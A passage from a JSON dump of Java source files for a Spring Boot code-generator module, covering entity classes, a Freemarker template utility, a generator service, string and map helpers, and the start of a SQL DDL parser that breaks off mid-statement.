classInfo.getTableName());\n//\n//        //log the generated table and filed size记录解析了什么表，有多少个字段\n//        //log.info(\"generated table :{} , size :{}\",classInfo.getTableName(),(classInfo.getFieldList() == null ? \"\" : classInfo.getFieldList().size()));\n//\n//        //3.generate the code by freemarker templates with parameters . Freemarker根据参数和模板生成代码\n//        Map<String, String> result = generatorService.getResultByParams(paramInfo.getOptions());\n////        log.info(\"result {}\",result);\n//        log.info(\"table:{} - time:{} \", MapUtil.getString(result,\"tableName\"),new Date());\n//        return ReturnT.ok().put(\"outputJson\",result);\n//    }\n//\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/entity/ClassInfo.java",
    "content": "package io.github.wujun728.generator.entity;\n\nimport lombok.Data;\n\nimport java.util.List;\n\n/**\n * class info\n */\n@Data\npublic class ClassInfo {\n\tprivate Long id;\n    private String tableName;\n    private String originTableName;\n    private String className;\n\tprivate String classComment;\n\tprivate int pkSize;\n\tprivate List<FieldInfo> fieldList;\n\tprivate List<FieldInfo> pkfieldList;\n\n\t/**\n\t * 作者姓名\n\t */\n\tprivate String authorName;\n\n\t/**\n\t * 类名\n\t */\n//\tprivate String className;\n\n\t/**\n\t * 功能名\n\t */\n\tprivate String functionName;\n\n\t/**\n\t * 是否移除表前缀\n\t */\n\tprivate String tablePrefix;\n\n\t/**\n\t * 生成方式\n\t */\n\tprivate String generateType;\n\n\t/**\n\t * 数据库表名\n\t */\n//\tprivate String tableName;\n\n\t/**\n\t * 数据库表名（经过组装的）\n\t */\n\tprivate String tableNameAss;\n\n\t/**\n\t * 代码包名\n\t */\n\tprivate String packageName;\n\n\t/**\n\t * 生成时间（String类型的）\n\t */\n\tprivate String createTimeString;\n\n\t/**\n\t * 数据库表中字段集合\n\t */\n//\tprivate List<SysCodeGenerateConfig> configList;\n\n\t/**\n\t * 模块名\n\t */\n\tprivate String modularNane = \"modular\";\n\n\t/**\n\t * 业务名\n\t */\n\tprivate String busName;\n\n\t/**\n\t * 所属应用\n\t */\n\tprivate String appCode;\n\n\t/**\n\t * 菜单上级\n\t */\n\tprivate String menuPid;\n\n\t/**\n\t * 菜单上级父ids\n\t */\n\tprivate String menuPids = \"\";\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/entity/FieldInfo.java",
    "content": "package io.github.wujun728.generator.entity;\n\nimport lombok.Data;\n\n/**\n * field info\n */\n@Data\npublic class FieldInfo {\n    private String columnName;\n    private String columnType;\n    private String fieldName;\n    private String fieldClass;\n    private String fieldType;\n    private String fieldComment;\n    private Boolean isPrimaryKey;\n    private Boolean isAutoIncrement;\n    private long columnSize;\n    private Boolean nullable;\n    private Boolean comment;\n    private String defaultValue;\n    private String swaggerClass;\n\n\n\n    /**\n     * 主键\n     */\n    private Long id;\n\n    /**\n     * 代码生成主表ID\n     */\n    private Long codeGenId;\n\n    /**\n     * 数据库字段名\n     */\n//    private String columnName;\n\n    /**\n     * java类字段名\n     */\n    private String javaName;\n\n    /**\n     * 字段描述\n     */\n    private String columnComment;\n\n    /**\n     * java类型\n     */\n    private String javaType;\n\n    /**\n     * 作用类型（字典）\n     */\n    private String effectType;\n\n    /**\n     * 字典code\n     */\n    private String dictTypeCode;\n\n    /**\n     * 列表是否缩进（字典）\n     */\n    private String whetherRetract;\n\n    /**\n     * 是否必填（字典）\n     */\n    private String whetherRequired;\n\n    /**\n     * 是否是查询条件\n     */\n    private String queryWhether;\n\n    /**\n     * 查询方式\n     */\n    private String queryType;\n\n    /**\n     * 列表显示\n     */\n    private String whetherTable;\n\n    /**\n     * 增改\n     */\n    private String whetherAddUpdate;\n\n    /**\n     * 主外键\n     */\n    public String columnKey;\n\n    /**\n     * 首字母大写名称（用于代码生成get set方法）\n     */\n    public String columnKeyName;\n\n    /**\n     * 数据库中类型（物理类型）\n     */\n    public String dataType;\n\n    /**\n     * 是否是通用字段\n     */\n    public String whetherCommon;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/entity/NonCaseString.java",
    "content": "package io.github.wujun728.generator.entity;\n\nimport lombok.AllArgsConstructor;\n\n/**\n * String 包装类\n * <p>\n * 忽略大小写\n **考虑增加这个类是, 如果在 StringUtils 中加工具方法, 使用起来代码非常冗长且不方便\n * @see String\n */\n@AllArgsConstructor\npublic class NonCaseString implements CharSequence {\n    private String value;\n\n    public static NonCaseString of(String str) {\n        assert str != null;\n        return new NonCaseString(str);\n    }\n\n\n    /**\n     * {@link String#indexOf(String)} 增强, 忽略大小写\n     */\n    public int indexOf(String m) {\n        String text = this.value;\n        if (text == null || m == null || text.length() < m.length()) {\n            return -1;\n        }\n        return text.toLowerCase().indexOf(m.toLowerCase());\n    }\n\n    /**\n     * {@link String#lastIndexOf(String)} 增强, 忽略大小写\n     */\n    public int lastIndexOf(String m) {\n        String text = this.value;\n        if (text == null || m == null || text.length() < m.length()) {\n            return -1;\n        }\n        return text.toLowerCase().lastIndexOf(m.toLowerCase());\n    }\n\n    /**\n     * 是否包含, 大小写不敏感\n     * <pre\n     * \"abcxyz\" 包含 \"abc\" => true\n     * \"abcxyz\" 包含 \"ABC\" => true\n     * \"abcxyz\" 包含 \"aBC\" => true\n     * </pre>\n     *\n     * @param m 被包含字符串\n     */\n    public boolean contains(String m) {\n        String text = this.value;\n        if (text.length() < m.length()) {\n            return false;\n        }\n        return text.toLowerCase().contains(m.toLowerCase());\n    }\n\n    /**\n     * 任意一个包含返回true\n     * <pre>\n     * containsAny(\"abcdef\", \"a\", \"b)\n     * 等价\n     * \"abcdef\".contains(\"a\") || \"abcdef\".contains(\"b\")\n     * </pre>\n     *\n     * @param matchers 多个要判断的被包含项\n     */\n    public boolean containsAny(String... matchers) {\n        for (String matcher : matchers) {\n            if (contains(matcher)) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    /**\n     * 所有都包含才返回true\n     *\n     * @param matchers 多个要判断的被包含项\n     */\n    public boolean containsAllIgnoreCase(String... matchers) {\n        for (String matcher : matchers) {\n            if (contains(matcher) == false) {\n                return false;\n            }\n        }\n        return true;\n    }\n\n    public NonCaseString trim() {\n        return NonCaseString.of(this.value.trim());\n    }\n\n    public NonCaseString replace(char oldChar, char newChar) {\n        return NonCaseString.of(this.value.replace(oldChar, newChar));\n    }\n\n    public NonCaseString replaceAll(String regex, String replacement) {\n        return NonCaseString.of(this.value.replaceAll(regex, replacement));\n    }\n\n    public NonCaseString substring(int beginIndex) {\n        return NonCaseString.of(this.value.substring(beginIndex));\n    }\n\n    public NonCaseString substring(int beginIndex, int endIndex) {\n        return NonCaseString.of(this.value.substring(beginIndex, endIndex));\n    }\n\n    public boolean isNotEmpty() {\n        return !this.value.isEmpty();\n    }\n\n    @Override\n    public int length() {\n        return this.value.length();\n    }\n\n    @Override\n    public char charAt(int index) {\n        return this.value.charAt(index);\n    }\n\n\n    @Override\n    public CharSequence subSequence(int start, int end) {\n        return this.value.subSequence(start, end);\n    }\n\n    public String[] split(String regex) {\n        return this.value.split(regex);\n    }\n\n\n    /**\n     * @return 原始字符串\n     */\n    public String get() {\n        return this.value;\n    }\n\n    @Override\n    public String toString() {\n        return this.value;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/entity/ParamInfo.java",
    "content": "package io.github.wujun728.generator.entity;\n\nimport lombok.Data;\n\nimport java.util.Map;\n\n/**\n * Post data - ParamInfo\n */\n@Data\npublic class ParamInfo {\n\n    private String tableSql;\n    private Map<String,Object> options;\n\n    @Data\n    public static class NAME_CASE_TYPE {\n        public static String CAMEL_CASE = \"CamelCase\";\n        public static String UNDER_SCORE_CASE = \"UnderScoreCase\";\n        public static String UPPER_UNDER_SCORE_CASE = \"UpperUnderScoreCase\";\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/entity/ReturnT.java",
    "content": "//package com.softdev.system.generator.entity;\n//\n//import lombok.Data;\n//import lombok.EqualsAndHashCode;\n//\n//import java.util.HashMap;\n//import java.util.Map;\n//\n///**\n// * common returnT:公共返回封装类\n// */\n//@EqualsAndHashCode(callSuper = true)\n//@Data\n//public class ReturnT extends HashMap<String, Object> {\n//    private static final long serialVersionUID = 1L;\n//\n//    public ReturnT() {\n//        put(\"code\", 0);\n//        put(\"msg\", \"success\");\n//    }\n//\n//    public static ReturnT error() {\n//        return error(500, \"未知异常，请联系管理员\");\n//    }\n//\n//    public static ReturnT error(String msg) {\n//        return error(500, msg);\n//    }\n//\n//    public static ReturnT error(int code, String msg) {\n//        ReturnT r = new ReturnT();\n//        r.put(\"code\", code);\n//        r.put(\"msg\", msg);\n//        return r;\n//    }\n//    public static ReturnT define(int code, String msg) {\n//        ReturnT r = new ReturnT();\n//        r.put(\"code\", code);\n//        r.put(\"msg\", msg);\n//        return r;\n//    }\n//    public static ReturnT ok(String msg) {\n//        ReturnT r = new ReturnT();\n//        r.put(\"msg\", msg);\n//        return r;\n//    }\n//\n//    public static ReturnT ok(Map<String, Object> map) {\n//        ReturnT r = new ReturnT();\n//        r.putAll(map);\n//        return r;\n//    }\n//\n//    public static ReturnT ok() {\n//        return new ReturnT();\n//    }\n//\n//    @Override\n//    public ReturnT put(String key, Object value) {\n//        super.put(key, value);\n//        return this;\n//    }\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/entity/TemplateConfig.java",
    "content": "//package io.github.wujun728.generator.entity;\n//\n//import lombok.Data;\n//\n//import java.io.Serializable;\n//\n//@Data\n//public class TemplateConfig implements Serializable {\n//\n//    public static final long serialVersionUID = 66L;\n//\n//    Integer id;\n//    String name;\n//    String group;\n//    String path;\n//    String description;\n//\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/service/GeneratorService.java",
    "content": "package io.github.wujun728.generator.service;\n\nimport freemarker.template.TemplateException;\nimport org.springframework.stereotype.Service;\n\nimport java.io.IOException;\nimport java.util.Map;\n\n/**\n * GeneratorService\n */\npublic interface GeneratorService {\n\n    String getTemplateConfig() throws IOException;\n\n    public Map<String, String> getResultByParams(Map<String, Object> params) throws IOException, TemplateException;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/service/GeneratorServiceImpl.java",
    "content": "package io.github.wujun728.generator.service;\n\nimport com.alibaba.fastjson2.JSONArray;\nimport com.alibaba.fastjson2.JSONObject;\nimport freemarker.template.TemplateException;\nimport io.github.wujun728.generator.util.FreemarkerUtil;\nimport io.github.wujun728.generator.util.MapUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Service;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n/**\n * GeneratorService\n */\n@Slf4j\n@Service\npublic class GeneratorServiceImpl implements GeneratorService {\n\n    String templateCpnfig = null;\n\n    /**\n     * 从项目中的JSON文件读取String\n     *\n     * @author zhengkai.blog.csdn.net\n     */\n    @Override\n    public String getTemplateConfig() throws IOException {\n        templateCpnfig = null;\n        if (templateCpnfig != null) {\n        } else {\n            InputStream inputStream = this.getClass().getClassLoader().getResourceAsStream(\"template.json\");\n            templateCpnfig = new BufferedReader(new InputStreamReader(inputStream))\n                    .lines().collect(Collectors.joining(System.lineSeparator()));\n            inputStream.close();\n        }\n        //log.info(JSON.toJSONString(templateCpnfig));\n        return templateCpnfig;\n    }\n\n    /**\n     * 根据配置的Template模板进行遍历解析，得到生成好的String\n     *\n     * @author zhengkai.blog.csdn.net\n     */\n    @Override\n    public Map<String, String> getResultByParams(Map<String, Object> params) throws IOException, TemplateException {\n        Map<String, String> result = new HashMap<>(32);\n        result.put(\"tableName\", MapUtil.getString(params,\"tableName\"));\n        JSONArray parentTemplates = JSONArray.parseArray(getTemplateConfig());\n        for (int i = 0; i <parentTemplates.size() ; i++) {\n            JSONObject parentTemplateObj = parentTemplates.getJSONObject(i);\n            for (int x = 0; x <parentTemplateObj.getJSONArray(\"templates\").size() ; x++) {\n                JSONObject childTemplate = parentTemplateObj.getJSONArray(\"templates\").getJSONObject(x);\n                result.put(childTemplate.getString(\"name\"), FreemarkerUtil.processString(parentTemplateObj.getString(\"group\") + \"/\" +childTemplate.getString(\"name\")+ \".ftl\", params));\n            }\n        }\n        return result;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/util/CodeGenerateException.java",
    "content": "package io.github.wujun728.generator.util;\n\n/**\n * @author xuxueli 2018-05-02 21:10:28\n */\npublic class CodeGenerateException extends RuntimeException {\n\n    private static final long serialVersionUID = 42L;\n\n    public CodeGenerateException() {\n        super();\n    }\n\n    public CodeGenerateException(String msg) {\n        super(msg);\n    }\n\n    public CodeGenerateException(String msg, Throwable cause) {\n        super(msg, cause);\n    }\n\n    public CodeGenerateException(Throwable cause) {\n        super(cause);\n    }\n\n    public CodeGenerateException(String message, Throwable cause,\n                                 boolean enableSuppression,\n                                 boolean writableStackTrace) {\n        super(message, cause, enableSuppression, writableStackTrace);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/util/FreemarkerUtil.java",
    "content": "package io.github.wujun728.generator.util;\n\nimport freemarker.cache.StringTemplateLoader;\nimport freemarker.template.Configuration;\nimport freemarker.template.Template;\nimport freemarker.template.TemplateException;\nimport freemarker.template.TemplateExceptionHandler;\nimport lombok.extern.slf4j.Slf4j;\n\n\nimport java.io.*;\nimport java.util.HashMap;\nimport java.util.Locale;\nimport java.util.Map;\n\n/**\n * freemarker tool\n *\n */\n@Slf4j\npublic class FreemarkerUtil {\n\n    /**\n     * freemarker config\n     */\n    private static Configuration freemarkerConfig = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n\n    static{\n        String templatePath = Thread.currentThread().getContextClassLoader().getResource(\"\").getPath();\n        int wei = templatePath.lastIndexOf(\"WEB-INF/classes/\");\n        if (wei > -1) {\n            templatePath = templatePath.substring(0, wei);\n        }\n        init2DirectoryForTemplateLoading(templatePath+ \"templates\");\n    }\n\n    public static void init2ClassForTemplateLoading(String templatePath){\n        freemarkerConfig.setClassForTemplateLoading(FreemarkerUtil.class,templatePath);\n        freemarkerConfig.setNumberFormat(\"#\");\n        freemarkerConfig.setClassicCompatible(true);\n        freemarkerConfig.setDefaultEncoding(\"UTF-8\");\n        freemarkerConfig.setLocale(Locale.CHINA);\n        freemarkerConfig.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER);\n    }\n    public static void init2DirectoryForTemplateLoading(String templateDirectoryPath){\n        try {\n            freemarkerConfig.setDirectoryForTemplateLoading(new File(templateDirectoryPath));\n            freemarkerConfig.setNumberFormat(\"#\");\n            freemarkerConfig.setClassicCompatible(true);\n            freemarkerConfig.setDefaultEncoding(\"UTF-8\");\n            freemarkerConfig.setLocale(Locale.CHINA);\n            freemarkerConfig.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER);\n        } catch (FileNotFoundException e) {\n            log.info(\"默认加载[\\\\templates]目录下模板失败，目录不存在。\");\n        } catch (IOException e) {\n            log.error(e.getMessage(), e);\n        }\n    }\n\n\n    /**\n     * process String\n     *\n     * @param templateName\n     * @param params\n     * @return\n     * @throws IOException\n     * @throws TemplateException\n     */\n    public static String processString(String templateName, Map<String, Object> params)\n            throws IOException, TemplateException {\n        Template template = freemarkerConfig.getTemplate(templateName);\n        String htmlText = processTemplateIntoString(template, params);\n        return htmlText;\n    }\n\n    /**\n     * process Template Into String\n     * @param template\n     * @param model\n     * @return\n     * @throws IOException\n     * @throws TemplateException\n     */\n    public static String processTemplateIntoString(Template template, Object model)\n            throws IOException, TemplateException {\n        StringWriter result = new StringWriter();\n        template.process(model, result);\n        return result.toString();\n    }\n\n\n    //*****************************************************************************************************************************************\n    //*****************************************************************************************************************************************\n    //*****************************************************************************************************************************************\n    //*****************************************************************************************************************************************\n    //*****************************************************************************************************************************************\n\n    public static void main(String[] args) throws Exception {\n        genStringTemplate();\n    }\n\n    public static void genStringTemplate() throws Exception {\n        String templateName = \"hello-template\";\n        String templateValue = \"hello,${name}\";\n\n        Map<String, Object> root = new HashMap<>(4);\n        root.put(\"name\", \"你好\");\n        root.put(\"age\", 25);\n        System.out.println(processStringTemplate( templateName, templateValue,root));\n        // -------------------- 进行模板的修改 ------------------------\n        templateValue = \"hello,${name},我今年,${age}岁.\";\n        System.out.println(processStringTemplate(  templateValue,root));\n\n    }\n\n\n    @Deprecated\n    public static String genTemplateStr(Map<String, Object> params,String templateContent)\n            throws IOException, TemplateException {\n        return genTemplateStr(params,\"temp\",templateContent);\n    }\n    /**\n     *  解析模板\n     * @param params 内容\n     * @param templateName 参数\n     * @param templateContent 参数\n     * @return\n     */\n    public static String genTemplateStr(Map<String, Object> params,String templateName,String templateContent)\n            throws IOException, TemplateException {\n        StringTemplateLoader stringLoader = new StringTemplateLoader();\n        Template template = new Template(templateName, new StringReader(templateContent));\n        StringWriter result = new StringWriter();\n        template.process(params, result);\n        String htmlText = result.toString();\n        return htmlText;\n    }\n\n    public static String processStringTemplate(String templateStr, Map<String, Object> root) throws IOException, TemplateException {\n        return processStringTemplate(\"temp\",templateStr,root);\n    }\n    /**\n     * 解析模板\n     * @param templateName\n     * @throws IOException\n     * @throws TemplateException\n     */\n    public static String processStringTemplate(String templateName, String templateStr, Map<String, Object> root) throws IOException, TemplateException {\n        Configuration configuration = configuration();\n        StringWriter stringWriter = new StringWriter();\n        Template template = new Template(templateName, templateStr, configuration);\n        template.process(root, stringWriter);\n        //System.out.println(stringWriter.toString());\n        return stringWriter.toString();\n    }\n\n    /**\n     * 配置 freemarker configuration\n     * @return\n     */\n    private static Configuration configuration() {\n        Configuration configuration = new Configuration(Configuration.VERSION_2_3_27);\n        StringTemplateLoader templateLoader = new StringTemplateLoader();\n        configuration.setTemplateLoader(templateLoader);\n        configuration.setDefaultEncoding(\"UTF-8\");\n        return configuration;\n    }\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/util/MapUtil.java",
    "content": "\npackage io.github.wujun728.generator.util;\n\nimport java.util.Map;\n\npublic class MapUtil {\n    public static String getString(Map map,String key){\n            if(map!=null && map.containsKey(key)){\n                try{\n                    return map.get(key).toString();\n                }catch (Exception e){\n                    e.printStackTrace();\n                    return \"\";\n                }\n            }else{\n                return \"\";\n            }\n    }\n    public static Integer getInteger(Map map,String key){\n        if(map!=null && map.containsKey(key)){\n            try{\n                return (Integer) map.get(key);\n            }catch (Exception e){\n                e.printStackTrace();\n                return 0;\n            }\n        }else{\n            return 0;\n        }\n    }\n    public static Boolean getBoolean(Map map,String key){\n        if(map!=null && map.containsKey(key)){\n            try{\n                return (Boolean) map.get(key);\n            }catch (Exception e){\n                e.printStackTrace();\n                return false;\n            }\n        }else{\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/util/StringUtils.java",
    "content": "package io.github.wujun728.generator.util;\n\n/**\n * string tool\n *\n */\npublic class StringUtils {\n\n    /**\n     * 首字母大写\n     *\n     * @param str\n     * @return\n     */\n    public static String upperCaseFirst(String str) {\n        if (str == null || str.trim().isEmpty()) {\n            return str;\n        }\n        return str.substring(0, 1).toUpperCase() + str.substring(1);\n    }\n\n    /**\n     * 首字母小写\n     *\n     * @param str\n     * @return\n     */\n    public static String lowerCaseFirst(String str) {\n        //2019-2-10 解决StringUtils.lowerCaseFirst潜在的NPE异常@liutf\n        return (str != null && str.length() > 1) ? str.substring(0, 1).toLowerCase() + str.substring(1) : \"\";\n    }\n\n    /**\n     * 下划线，转换为驼峰式\n     *\n     * @param underscoreName\n     * @return\n     */\n    public static String underlineToCamelCase(String underscoreName) {\n        StringBuilder result = new StringBuilder();\n        if (underscoreName != null && underscoreName.trim().length() > 0) {\n            boolean flag = false;\n            for (int i = 0; i < underscoreName.length(); i++) {\n                char ch = underscoreName.charAt(i);\n                if ('_' == ch) {\n                    flag = true;\n                } else {\n                    if (flag) {\n                        result.append(Character.toUpperCase(ch));\n                        flag = false;\n                    } else {\n                        result.append(ch);\n                    }\n                }\n            }\n        }\n        return result.toString();\n    }\n\n    /**\n     * 转 user_name 风格\n     *\n     * 不管原始是什么风格\n     */\n    public static String toUnderline(String str, boolean upperCase) {\n        if (str == null || str.trim().isEmpty()) {\n            return str;\n        }\n\n        StringBuilder result = new StringBuilder();\n        boolean preIsUnderscore = false;\n        for (int i = 0; i < str.length(); i++) {\n            char ch = str.charAt(i);\n            if (ch == '_') {\n                preIsUnderscore = true;\n            } else if (ch == '-') {\n                ch = '_';\n                preIsUnderscore = true; // -A -> _a\n            } else if (ch >= 'A' && ch <= 'Z') {\n                // A -> _a\n                if (!preIsUnderscore && i > 0) { // _A -> _a\n                    result.append(\"_\");\n                }\n                preIsUnderscore = false;\n            } else {\n                preIsUnderscore = false;\n            }\n            result.append(upperCase ? Character.toUpperCase(ch) : Character.toLowerCase(ch));\n        }\n\n        return result.toString();\n    }\n\n    /**\n     * any str ==> lowerCamel\n     */\n    public static String toLowerCamel(String str) {\n        if (str == null || str.trim().isEmpty()) {\n            return str;\n        }\n\n        StringBuilder result = new StringBuilder();\n        char pre = '\\0';\n        for (int i = 0; i < str.length(); i++) {\n            char ch = str.charAt(i);\n            if (ch == '-' || ch == '—' || ch == '_') {\n                ch = '_';\n                pre = ch;\n                continue;\n            }\n            char ch2 = ch;\n            if (pre == '_') {\n                ch2 = Character.toUpperCase(ch);\n                pre = ch2;\n            } else if (pre >= 'A' && pre <= 'Z') {\n                pre = ch;\n                ch2 = Character.toLowerCase(ch);\n            } else {\n                pre = ch;\n            }\n            result.append(ch2);\n        }\n\n        return lowerCaseFirst(result.toString());\n    }\n\n    public static boolean isNotNull(String str) {\n        return org.apache.commons.lang3.StringUtils.isNotEmpty(str);\n    }\n\t\n\n\n    /**\n     * Represents a failed index search.\n     * @since 2.1\n     */\n    public static final int INDEX_NOT_FOUND = -1;\n\n    /**\n     * <p>Counts how many times the substring appears in the larger String.</p>\n     *\n     * <p>A <code>null</code> or empty (\"\") String input returns <code>0</code>.</p>\n     *\n     * <pre>\n     * StringUtils.countMatches(null, *)       = 0\n     * StringUtils.countMatches(\"\", *)         = 0\n     * StringUtils.countMatches(\"abba\", null)  = 0\n     * StringUtils.countMatches(\"abba\", \"\")    = 0\n     * StringUtils.countMatches(\"abba\", \"a\")   = 2\n     * StringUtils.countMatches(\"abba\", \"ab\")  = 1\n     * StringUtils.countMatches(\"abba\", \"xxx\") = 0\n     * </pre>\n     *\n     * @param str  the String to check, may be null\n     * @param sub  the substring to count, may be null\n     * @return the number of occurrences, 0 if either String is <code>null</code>\n     */\n    public static int countMatches(String str, String sub) {\n        if (isEmpty(str) || isEmpty(sub)) {\n            return 0;\n        }\n        int count = 0;\n        int idx = 0;\n        while ((idx = str.indexOf(sub, idx)) != INDEX_NOT_FOUND) {\n            count++;\n            idx += sub.length();\n        }\n        return count;\n    }\n\n    /**\n     * <p>Checks if a String is empty (\"\") or null.</p>\n     *\n     * <pre>\n     * StringUtils.isEmpty(null)      = true\n     * StringUtils.isEmpty(\"\")        = true\n     * StringUtils.isEmpty(\" \")       = false\n     * StringUtils.isEmpty(\"bob\")     = false\n     * StringUtils.isEmpty(\"  bob  \") = false\n     * </pre>\n     *\n     * <p>NOTE: This method changed in Lang version 2.0.\n     * It no longer trims the String.\n     * That functionality is available in isBlank().</p>\n     *\n     * @param str  the String to check, may be null\n     * @return <code>true</code> if the String is empty or null\n     */\n    public static boolean isEmpty(String str) {\n        return str == null || str.length() == 0;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/generator/util/TableParseUtil.java",
    "content": "package io.github.wujun728.generator.util;\n\nimport com.alibaba.fastjson2.JSON;\nimport com.alibaba.fastjson2.JSONArray;\nimport com.alibaba.fastjson2.JSONObject;\nimport io.github.wujun728.generator.entity.ClassInfo;\nimport io.github.wujun728.generator.entity.FieldInfo;\nimport io.github.wujun728.generator.entity.NonCaseString;\nimport io.github.wujun728.generator.entity.ParamInfo;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.concurrent.atomic.AtomicInteger;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n/**\n * 表格解析Util\n */\npublic class TableParseUtil {\n\n    /**\n     * 解析DDL SQL生成类信息\n     *\n     * @param paramInfo\n     * @return\n     */\n    public static ClassInfo processTableIntoClassInfo(ParamInfo paramInfo)\n            throws IOException {\n        //process the param\n        NonCaseString tableSql = NonCaseString.of(paramInfo.getTableSql());\n        String nameCaseType = MapUtil.getString(paramInfo.getOptions(),\"nameCaseType\");\n        Boolean isPackageType = MapUtil.getBoolean(paramInfo.getOptions(),\"isPackageType\");\n\n        if (tableSql == null || tableSql.trim().length() == 0) {\n            throw new CodeGenerateException(\"Table structure can not be empty. 表结构不能为空。\");\n        }\n        //deal with special character\n        tableSql = tableSql.trim()\n                .replaceAll(\"'\", \"`\")\n                .replaceAll(\"\\\"\", \"`\")\n                .replaceAll(\"，\", \",\")\n                // 这里全部转小写, 会让驼峰风格的字段名丢失驼峰信息(真有驼峰sql字段名的呢(*￣︶￣)); 下文使用工具方法处理包含等\n                // .toLowerCase()\n        ;\n        //deal with java string copy \\n\"\n        tableSql = tableSql.trim().replaceAll(\"\\\\\\\\n`\", \"\").replaceAll(\"\\\\+\", \"\").replaceAll(\"``\", \"`\").replaceAll(\"\\\\\\\\\", \"\");\n        // table Name\n        String tableName = null;\n        int tableKwIx = tableSql.indexOf(\"TABLE\"); // 包含判断和位置一次搞定\n        if (tableKwIx > -1 && tableSql.contains(\"(\")) {\n            tableName = tableSql.substring(tableKwIx + 5, tableSql.indexOf(\"(\")).get();\n        } else {\n            throw new CodeGenerateException(\"Table structure incorrect.表结构不正确。\");\n        }\n\n        //新增处理create table if not exists members情况\n        if (tableName.contains(\"if not exists\")) {\n            tableName = tableName.replaceAll(\"if not exists\", \"\");\n        }\n\n        if (tableName.contains(\"`\")) {\n            tableName = tableName.substring(tableName.indexOf(\"`\") + 1, tableName.lastIndexOf(\"`\"));\n        } else {\n            //空格开头的，需要替换掉\\n\\t空格\n            tableName = tableName.replaceAll(\" \", \"\").replaceAll(\"\\n\", \"\").replaceAll(\"\\t\", \"\");\n        }\n        //优化对byeas`.`ct_bd_customerdiscount这种命名的支持\n        if (tableName.contains(\"`.`\")) {\n            tableName = tableName.substring(tableName.indexOf(\"`.`\") + 3);\n        } else if (tableName.contains(\".\")) {\n            //优化对likeu.members这种命名的支持\n            tableName = tableName.substring(tableName.indexOf(\".\") + 1);\n        }\n        String originTableName = tableName;\n        //ignore prefix\n        if(tableName!=null && StringUtils.isNotNull(MapUtil.getString(paramInfo.getOptions(),\"ignorePrefix\"))){\n            tableName = tableName.replaceAll(MapUtil.getString(paramInfo.getOptions(),\"ignorePrefix\"),\"\");\n        }\n        // class Name\n        String className = StringUtils.upperCaseFirst(StringUtils.underlineToCamelCase(tableName));\n        if (className.contains(\"_\")) {\n            className = className.replaceAll(\"_\", \"\");\n        }\n\n        // class Comment\n        String classComment = null;\n        //mysql是comment=,pgsql/oracle是comment on table,\n        //2020-05-25 优化表备注的获取逻辑\n        if (tableSql.containsAny(\"comment=\", \"comment on table\")) {\n            int ix = tableSql.lastIndexOf(\"comment=\");\n            String classCommentTmp = (ix > -1) ?\n                    tableSql.substring(ix + 8).trim().get() :\n                    tableSql.substring(tableSql.lastIndexOf(\"comment on table\") + 17).trim().get();\n            if (classCommentTmp.contains(\"`\")) {\n                classCommentTmp = classCommentTmp.substring(classCommentTmp.indexOf(\"`\") + 1);\n                classCommentTmp = classCommentTmp.substring(0, classCommentTmp.indexOf(\"`\"));\n                classComment = classCommentTmp;\n            } else {\n                //非常规的没法分析\n                classComment = className;\n            }\n        } else {\n            //修复表备注为空问题\n            classComment = tableName;\n        }\n        //如果备注跟;混在一起，需要替换掉\n        classComment = classComment.replaceAll(\";\", \"\");\n        // field List\n        List<FieldInfo> fieldList = new ArrayList<FieldInfo>();\n\n        // 正常( ) 内的一定是字段相关的定义。\n        String fieldListTmp = tableSql.substring(tableSql.indexOf(\"(\") + 1, tableSql.lastIndexOf(\")\")).get();\n\n        // 匹配 comment，替换备注里的小逗号, 防止不小心被当成切割符号切割\n        String commentPattenStr1 = \"comment `(.*?)\\\\`\";\n        Matcher matcher1 = Pattern.compile(commentPattenStr1).matcher(fieldListTmp);\n        while (matcher1.find()) {\n\n            String commentTmp = matcher1.group();\n            //2018-9-27 zhengk 不替换，只处理，支持COMMENT评论里面多种注释\n            //commentTmp = commentTmp.replaceAll(\"\\\\ comment `|\\\\`\", \" \");      // \"\\\\{|\\\\}\"\n\n            if (commentTmp.contains(\",\")) {\n                String commentTmpFinal = commentTmp.replaceAll(\",\", \"，\");\n                fieldListTmp = fieldListTmp.replace(matcher1.group(), commentTmpFinal);\n            }\n        }\n        //2018-10-18 zhengkai 新增支持double(10, 2)等类型中有英文逗号的特殊情况\n        String commentPattenStr2 = \"\\\\`(.*?)\\\\`\";\n        Matcher matcher2 = Pattern.compile(commentPattenStr2).matcher(fieldListTmp);\n        while (matcher2.find()) {\n            String commentTmp2 = matcher2.group();\n            if 